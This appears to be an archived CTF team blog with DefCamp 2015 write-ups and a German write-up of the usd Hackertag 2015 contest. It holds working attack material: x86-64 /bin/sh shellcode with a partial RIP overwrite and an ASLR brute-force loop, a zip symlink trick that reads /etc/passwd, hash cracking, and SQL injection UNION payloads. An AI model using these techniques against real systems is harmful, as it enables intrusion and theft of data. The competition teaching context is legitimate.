CTF-Team site moved

The CTF-Team has launched a new web presence for their activities. The posts/write-ups below are kept as an archive for interested readers.

WRITEUP – DEFCAMP2015 – Rocket Science Admin Panel – Web 300

In this challenge we are given a register and a login page. After registration, we want to try to login, but we were automatically blocked. We wrote a python script to register and authenticate automatically. The last step we took, was to send a huge amount of characters to the server. Register an login failes and we get the register and login mask as a response. 1024 characters lead to a successful registration, but we got a “nop” as response by logging into the service. When we sent 255 a’s we got a successful login and the flag was given.

#!/usr/bin/python3

import urllib.request
import urllib.parse

href = 'http://10.13.37.4/'
params = {}

password = ["hey", "you"]

params['username'] = b'a'*255
params['password'] = password
data = urllib.parse.urlencode(params)
data = data.encode('ascii')
req = urllib.request.Request(href+"register.php", data)
print(urllib.request.urlopen(req).read())

params['password'] = password
data = urllib.parse.urlencode(params)
data = data.encode('ascii')
req = urllib.request.Request(href+"login.php", data)
print(urllib.request.urlopen(req).read())

WRITEUP – DEFCAMP2015 – The hylian dude – Web 200

In this challenge we are given a file hosting service. We can upload a zipped file, and the application provides the extracted files for download.

We found a comment in the HTML source, that shell_execute has been used. We tried to upload a zip file, with a symbolic link to /var/www/html/index.php, and we were able to download the source code. The next idea has been, to download /etc/passwd for further information.

ln -s /etc/passwd passwd
zip --symlinks -r passwd.zip passwd

There it is:

...
dctf:x:65533:65533:DCTF,,,:/nonexistent:/DCTF{28fad39245bc57404263540e94f417d8}

WRITEUP – DEFCAMP2015 – crypto 200

In this challenge a plaintext, the AES-CBC-128 encrypted cipher text of the plaintext and the used IV are given. The task is to change the IV or the ciphertext in such a way that the ciphertext/IV-combination would decrypt to a new message. The catch is that the key is not given in this context.

The plaintext

Pass: sup3r31337. Don't loose it!

should change to the new message

Pass: notAs3cre7. Don't loose it!

when decrypting. The given ciphertext has 48 byte. One block in AES-128 is 16 byte long which means there are 3 blocks of data for the plaintext. Those 3 blocks are encrypted using the CBC mode with the unknown key. The following snippet shows each ciphertext block with the corresponding plaintext.

4f3a0e1791e8c8e5fefe93f50df4d806
Pass: sup3r31337
1fee884bcc5ea90503b6ac1422bda2b2
. Don't loose it
b7e6a975bfc555f44f7dbcc30aa1fd5e
!

It is conspicuous that the plaintext of the two last blocks will stay the same in the new message so only the first block has to be changed somehow. The problem is of course that if we change the first ciphertext block all following ciphertext blocks have to be changed as well for a successful decryption because of the used CBC mode which makes the ciphertext blocks interdependant. It is also a problem that the key is not known so if we change the input to the AES-function some unpredictable ciphertext will be the result. So we cannot even change the input to the first encryption block of the cbc mode.

But when we change the plaintext of the first block we can also alter the IV such that we get the same input for the AES funciton as before. We just have to play with some XOR equations a little:

oldplaintextblock xor IV = input_to_first_enc_block
newplaintextblock xor new_IV = input_to_first_enc_block
newplaintextblock xor new_IV = oldplaintextblock xor IV
new_IV = oldplaintextblock xor IV xor newplaintextblock

For the calculation of the new_IV everything is given. The new_IV can be easily calculated (I used some small python script). The new_IV was the flag.

WRITEUP – DEFCAMP2015 – exploit 300

This challenge did not provide the binary right away, we had to connect to an ssh-server with the binary. In the hints was stated that we have to do a cat /flag with the appropriate rights to get the flag. The binary has the s-bit set so if we can exploit it we can read the flag with the correct rights. So we downloaded the file using scp and looked at it:

e300: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=37c037c1222876fba323db6d5cef3718cba9cbc1, stripped

When running the file it asks for a number and something:

$ ./e300
./e300 <number> <something>

If we provide a number and something, it sometimes does nothing and sometimes it says "Should have been : 3" for example. So there is some kind of random number which has to be guessed. After some playing with the executable this number seems to be between 0 and 4.

After some investigation with the disassembly of the programm it gets clear that "something" will be copied unsecurely in a separate function using memcpy. This functions decompile looks like this:

sub_9EF(const char *a1)
{
  size_t v1; // rax@1
  char dest; // [sp+10h] [bp-130h]@1

  v1 = strlen(a1);
  return memcpy(&dest, a1, v1);
}

So if we guess correctly we can perform a buffer overflow since v1 is on the stack to control for example the return address.

For easier debugging purposes in gdb. We use LD_PRELOAD to replace the rand-function with a function of our own choosing.

// gcc -shared -fPIC -o overwrite.so ./overwrite.c

int rand() {
    return 0;
}

If we now do a set environment LD_PRELOAD=./overwrite.so in gdb the function rand always returns 0 and we do not have to run the program multiple times just to test our exploit.

The next step now is to write an exploit for this program to pop a shell. For this we need to get the control of the RIP. So we find the ret-instruction of the sub_9EF in memory in gdb and break there. Then we run the program with a huge amount of e.g. 'A' chars to get a feeling for the buffer. Then we use a pattern (we used https://github.com/Svenito/exploit-pattern) to find the exact offset when we overwrite the RIP. Now controlling RIP we could look on the stack where our buffer begins, build a nop slide which runs into some short shellcode to run /bin/sh. This was the first try:

$(python -c "print '\x90'*100 + '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' + '\x90'*(312-100-27) + '\x9c\xdd\xff\xff\xff\x7f'")

So we first have some NOP instructions, then the shellcode, then again some nops to fill the buffer and then the address on the stack we want to jump to. Luckily, the stack is executable and there are no canaries to stop us from smashing the stack. This exploit works in gdb because ASLR gets disabled. It even works when disabling ASLR on my ubuntu machine. Testing the exploit on the target machine did however not work because ASLR was enabled. So it is not that easy to exploit it. ASLR has to be defeated for this exploit to work.

After some researching and thinking how to bypass ASLR we noticed that some registers at the end of the vulnerable function point to the nop-slide on the stack. With a quick

$ objdump -D -M intel e300 | grep "jmp.*rax"
 91a:   ff e0                   jmp    rax

we found an instruction to jump directly to rax in a ROP-like fashion. This address of this instruction is however also randomized so we cannot know the exact location in advance.

After some more researching we found a technique called "partial RIP overwrite". The idea is that we do not overwrite the complete RIP because then we have to guess a large portion of it. We just overwrite a little part of it to jump correctly. The addresses with ASLR on x64 typically look like this:

   hardcoded | random offset | Offset in ELF
0x 00007f      XXXXXXX         91a

Normally, the complete random offset must be guessed. But with partial RIP overwrite it looks like this:

Return Address
   Random stuff  | 2 Byte we overwrite
0x 00007fXXXXXX    X91a

So we just overwrite the last 2 bytes with X91A. 91A is the offset of the jmp rax function and X can be any number we want because we have to guess this. But now we only guess 1 nibble instead of 7 bytes. With this information we build a new exploit which looks like this:

NOP SLIDE + SHELLCODE + NOP SLIDE + \x1A\x49
$(python -c "print '\x90'*100 + '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' + '\x90'*(312-100-27) + '\x1a\x49'")

Since we have to guess the correct number in real life and we have to guess the correct nibble we have to execute the exploit multiple times on the target machine. We can do this with a little bash script:

#!/bin/bash

while :
do
./e300 0 $(python -c "print '\x90'*100 + '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' + '\x90'*(312-100-27) + '\x1a\x49'")
done

When running this script on the target machine a shell pops up after some seconds:

$ cat /flag
DCTF{2621204f73c01a1cbc995b24a57106ad}

WRITEUP – DEFCAMP2015 – reversing 200

Reverse 200 shows a file r200:

r200: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked
(uses shared libs), for GNU/Linux 2.6.24,
BuildID[sha1]=22e68980e521b43c90688ed0693df78150b10211, stripped

When executing this file it also wants some password which is presumably the flag. After some file exploring the function where the password is validated is found and decompiled:

[...]
for ( i = 0; i <= 5; ++i )
  {
    v5 = qword_601080;
    v4 = 0;
    while ( v5 )
    {
      if ( *(_BYTE *)(v5 + 4) == *(_BYTE *)(i + password) )
      {
        v4 = *(_DWORD *)v5;
        break;
      }
      v5 = *(_QWORD *)(v5 + 8);
    }
    *((_DWORD *)&v6 + i) = v4;
  }
  for ( j = 0; j <= 5; ++j )
  {
    if ( *((_DWORD *)&v6 + j) != *(&v9 + j) )
      return 1LL;
  }
  return 0LL;
[...]

The for loop suggests, that the password has 6 chars. It iterates (among other things) through the password array. The pointer v5 points to a qword which points to some array which was generated in the beginning of the program.

The function then does the following: It looks up what v5 points to (the array) and adds 4 byte to it and reads this byte. It then compares this byte to the current char in the password. If the character matches, it stores the byte which v5 originally points to in v4 and then in v6 which is another array. It does this with every char in the password. After this another loop compares the array v6 with v9 which is a fixed array of 6 byte, {5 2 7 2 5 6}.

This procedure will be clearer if we look at the array in the memory which is adressed with v5:

01 00 00 00 6E 00 00 00  00 00 00 00 00 00 00 00

02 00 00 00 6F 00 00 00  10 50 58 02 00 00 00 00

03 00 00 00 70 00 00 00  30 50 58 02 00 00 00 00

04 00 00 00 71 00 00 00  50 50 58 02 00 00 00 00

05 00 00 00 72 00 00 00  70 50 58 02 00 00 00 00

06 00 00 00 73 00 00 00  90 50 58 02 00 00 00 00

07 00 00 00 74 00 00 00  B0 50 58 02 00 00 00 00

08 00 00 00 75 00 00 00  D0 50 58 02 00 00 00 00

09 00 00 00 76 00 00 00  F0 50 58 02 00 00 00 00

0A 00 00 00 77 00 00 00  10 51 58 02 00 00 00 00

In the password checker function v5 always points to one char in the first column of the memory dump (so like 01, 02, 03…). If you add 4 to this pointer it points to the fifth column (like 6E, 6F, 70…). It then generates an array of bytes of the first column with the password characters which are looked up in the fifth row.

So if the current password character is 6E, it appends 01 to this array. If it is 73, it appends 06 to the array. Then this generated array is compared with the hardcoded byte array {5 2 7 2 5 6}. So we just have to look in the memory dump, which character we need. {5 2 7 2 5 6} is then {72 6F 74 6F 72 73} which is in ASCII symbols the password: rotors.

WRITEUP – DEFCAMP2015 – Crypto 50

In this challenge a text file is given with 11 rows. Each row is an encrypted hex string. The given hint was that each of the 11 ciphertexts were encrypted using the same stream cipher. A quick search for weaknesses in stream ciphers reveals a key reuse attack. In stream ciphers the plaintexts are xor'd with a key stream. If one uses the same key for all plaintexts it means that all plaintexts were xor'd with the same key stream. This means by xoring the ciphertexts with each others we get

E(Message_A) = Message_A xor Keystream
E(Message_B) = Message_B xor Keystream
E(Message_A) xor E(Message_B) = Message_A xor Keystream xor Message_B xor Keystream
                              = Message_A xor Message_B

Thus, by xoring two ciphertexts with each other, we get the result of the xor-operation of the used plaintexts. If we knew one of the messages we could easily extract the other message. But we do not know any message so we have to use a technique called crib dragging.

In crib dragging we try to guess some word which might be in one of the messages. Then we xor this word with each position of Message_A xor Message_B. If at some position we find some other word or part of a word, we know that this word is in there.

For example, I guessed that " the " is in one of the messages. So I xor'd the last ciphertext which we want to decrypt with the first ciphertext. Than I xor'd " the " with each position of the result. At one position the result was "trans". So I guessed that this could be part of another word. So I tried the same thing with "transmission" and again at one position I got more of the message.

This tool helped a lot: https://github.com/SpiderLabs/cribdrag With xorstrings.py you can xor the ciphertexts and with cribdrag.py you could interactively guess words.

If I got stuck with one ciphertext I chose the next one as every plaintext was encrypted with the same keystream and repeated the process with my new findings. So I could slowly extend the 11. plaintext it is: "when using stream cipher, never use the key more than once!"

WRITEUP – DEFCAMP2015 – Reversing 100

We get a file called r100, let’s check it out:

h0rst@ctf:rev100$ file r100
 r100: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0f464824cc8ee321ef9a80a799c70b1b6aec8168, stripped

When we execute it, it asks us for a password:

h0rst@ctf:rev100$ ./r100
Enter the password: AAAA
Incorrect password!

Let’s fire up IDApro and decompile it:

r100_main_c

After asking us for the password a function is called to validate our input.

r100_validate_passwd_c

From the range of the for-loop in line 9 we can tell that the password is 12 characters long.
In line 11 each of the 12 characters then is checked and if we entered the correct password, 0 is returned and the challenge is solved.
So every character of the password has to solve:

v3[(i % 3)*8 + 2 * (i / 3)] - password[i] == 1)

Which is equivalent to:

v3[(i % 3)*8 + 2 * (i / 3)] - 1 == password[i]) // -1 // + password[i]

So with knowing v3 we can simply print out the password:

v3 = 'Dufhbmf\0pG`imos\0ewUglpt\0'
flag = ''
for i in range(0,12):
   flag += chr(ord(v3[(i % 3)*8 + 2 * (i / 3)]) - 1)
print flag

h0rst@ctf:rev100$ python r100_solver.py
Code_Talkers

MRMCD – CTF

Das Brutewoorse CTF-Team ist beim diesjährigen MRMCD vertreten und veranstaltet für euch einen Jeopardy-Style CTF-Wettkampf. Weitere Infos zum MRMCD findet ihr hier und den Link zu unseren CTF-Challenges findet ihr, wenns soweit ist, hier. Wir halten euch über Twitter @brutewoorse oder im IRC unter #ctf@hda auf freenode auf dem Laufenden.

Viel Spaß!

usd Hackertag 2015 – Writeup

Writeup by Johanna@Brutewoorse

Im Frühjahr fand wieder ein Hackercontest der usd AG statt.
Einige Teammitglieder von uns konnten sich auch  dieses Jahr wieder für ein Weiterbildungsseminar am 21. April qualifizieren, indem sie alle Aufgaben lösen konnten.
Ziel war es 6 versteckte numerische Werte auf der Webseite zu finden.

Token 1

Unter dem Menüpunkt Downloads lässt sich das PDF usd_Hackertag_2015.pdf herunterladen.
Durchsucht man die Datei nach Strings und filtert nach “Token”, so erhält man

 

$ strings usd_Hackertag_2015.pdf | grep Token
Token: 338912
/Subject (Token: 338912)

 

Der Token ist 338912.

Token 2

Untersucht man die Quelldateien der Startseite beispielsweise mit FireBug, so stößt man auf die Datei query.js.

eval(String.fromCharCode(105, 102, 32, 40, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 111, 115, 116, 110, 97, 109, 101, 32, 61, 61, 32, 34, 49, 50, 55, 46, 48, 46, 48, 46, 49, 34, 41, 32, 123, 10, 118, 97, 114, 32, 95, 48, 120, 98, 55, 57, 97, 61, 91, 34, 92, 120, 53, 55, 92, 120, 54, 57, 92, 120, 54, 67, 92, 120, 54, 67, 92, 120, 54, 66, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 50, 48, 92, 120, 55, 65, 92, 120, 55, 53, 92, 120, 55, 50, 92, 120, 70, 67, 92, 120, 54, 51, 92, 120, 54, 66, 92, 120, 50, 48, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 52, 92, 120, 54, 52, 92, 120, 55, 57, 92, 120, 50, 69, 92, 120, 50, 48, 92, 120, 52, 52, 92, 120, 54, 53, 92, 120, 55, 50, 92, 120, 50, 48, 92, 120, 54, 55, 92, 120, 54, 53, 92, 120, 54, 56, 92, 120, 54, 53, 92, 120, 54, 57, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 50, 48, 92, 120, 53, 52, 92, 120, 54, 70, 92, 120, 54, 66, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 50, 48, 92, 120, 54, 67, 92, 120, 54, 49, 92, 120, 55, 53, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 51, 65, 92, 120, 50, 48, 92, 120, 51, 52, 92, 120, 51, 49, 92, 120, 51, 55, 92, 120, 51, 56, 92, 120, 51, 53, 92, 120, 51, 53, 34, 93, 59, 97, 108, 101, 114, 116, 40, 95, 48, 120, 98, 55, 57,97, 91, 48, 93, 41, 59, 10, 125));

Die Dezimalzahlen lassen sich mit einem ASCII-Converter in ASCII-Zeichen umwandeln. Damit erhält man:

if (window.location.hostname == "127.0.0.1") {
var _0xb79a=["\x57\x69\x6C\x6C\x6B\x6F\x6D\x6D\x65\x6E\x20\x7A\x75\x72\xFC\x63\x6B\x20\x66\x72\x65\x64\x64\x79\x2E\x20\x44\x65\x72\x20\x67\x65\x68\x65\x69\x6D\x65\x20\x54\x6F\x6B\x65\x6E\x20\x6C\x61\x75\x74\x65\x74\x3A\x20\x34\x31\x37\x38\x35\x35"];
alert(_0xb79a[0]);
}

Die Liste der Hexadezimalzahlen ergibt einen Base64-Code:

V2lsbGtvbW1lbiB6dXL8Y2sgZnJlZGR5LiBEZXIgZ2VoZWltZSBUb2tlbiBsYXV0ZXQ6IDQxNzg1NQ==

Wenn man diesen mit Base64 dekodiert ergibt sich der Text

Willkommen zurück freddy. Der geheime Token lautet: 417855

Der Token ist 417855.

Token 3

Der Kommentar im HTML-Code der Startseite deutet darauf hin, dass ein SVN-Repository auf dem Server vorhanden ist.

Mit dem SVN-Extractor von https://github.com/anantshri/svn-extractor lassen sich die Dateien des Repositories herunterladen:

python svnex.py --url http://82.195.79.41/

In der heruntergeladenen Datei download.php findet sich der Kommentar

// Todo: Challenge fuer Token 102342 bauen.

Der Token ist 102342.

Token 4

Versucht man sich im Backend anzumelden, bekommt man einen Hinweis darauf, dass man die anderen Ports betrachten sollte.
Im Ergebnis des Portscans

$ nmap -v -A 82.195.79.41

sieht man, dass eine Datei

http://82.195.79.41//no/one/will/ever/know/secret.txt

exitstiert. Ihr Inhalt ist

Token: 928191

Der Token ist 928191.

Token 5

Bei einem erneuten Portscan mit

$ nmap -p1-65535 -T5 -sS 82.195.79.41

findet man Port 4141. Beim Aufruf von

http://82.195.79.41:4141/

gelangt man zu der Nachricht

*********************************************************
Der folgende Hashwert (MD5) wurde mit dem Salt “Hackertag” erzeugt.
Der Aufruf war dabei wie folgt: echo -n “Hackertag{Passwort}” | md5sum

d79a2543ddbb8042a6d14851fb098e0d
*********************************************************

Der Hash lässt sich mit hashcat cracken:

$ cat hash.txt
 d79a2543ddbb8042a6d14851fb098e0d:Hackertag
 $ hashcat -m 20 -a 3 hash.txt ?a?a?a?a?a?a
 d79a2543ddbb8042a6d14851fb098e0d:Hackertag:blue

Das Passwort für das Backend ist also “blue“. Auf den Benutzernamen “freddy” sind wir bei den vorherigen Tokens gestoßen.
Im Backend findet man das Bild tour.jpg. Das Attribut alt=”compression is everything” gibt einen Hinweis für die Suche nach dem Token. Bei

strings tour.jpg

fällt der Base64-Code

VG9rZW46IDU1MTI0Mw==

ins Auge. Dekodiert man diesen, erhält man

Token: 551243

Der Token ist 551243.

Token 6

Unter dem Menüpunkt To-do bekommt man eine kurze Liste angezeigt. Klickt man auf eines der Listenelemente gelangt man zur URL

http://82.195.79.41/liste.php?id=1

Über den Parameter id wird aus einer Datenbank der entsprechende Eintrag ausgelesen. Einer der Dateien aus dem SVN-Repository gibt uns den Hinweis, dass es sich um eine SQLite-Datenbank handelt.
Mit dem UNION-Operator lassen sich SELECT-Befehle verketten. So können wir an den SELECT-Befehl, der den To-do-Listeneintrag mit einer bestimmten id auswählt, weitere SELECT-Befehle anhängen. Mit

http://82.195.79.41/liste.php?id=1%27%20UNION%20SELECT%20name,name%20FROM%20sqlite_master%20WHERE%20type=%27table%27;

schauen wir uns zunächst eine Liste der vorhandenen Tabellen der Datenbank an. Diese enthält die Tabellennamen “public” und “token”.

http://82.195.79.41/liste.php?id=1%27%20union%20SELECT%20sql,%20sql%20FROM%20sqlite_master%20WHERE%20type%20=%20%27table%27%20AND%20name%20=%20%27token%27;

zeigt uns die Struktur der Tabelle token. Sie enthält die Spalte “token_val”. Die Tabelleneinträge erhalten wir dann mit

http://82.195.79.41/liste.php?id=1%27%20union%20SELECT%20token_val,%20token_val%20FROM%20token;

Der Token ist 336809.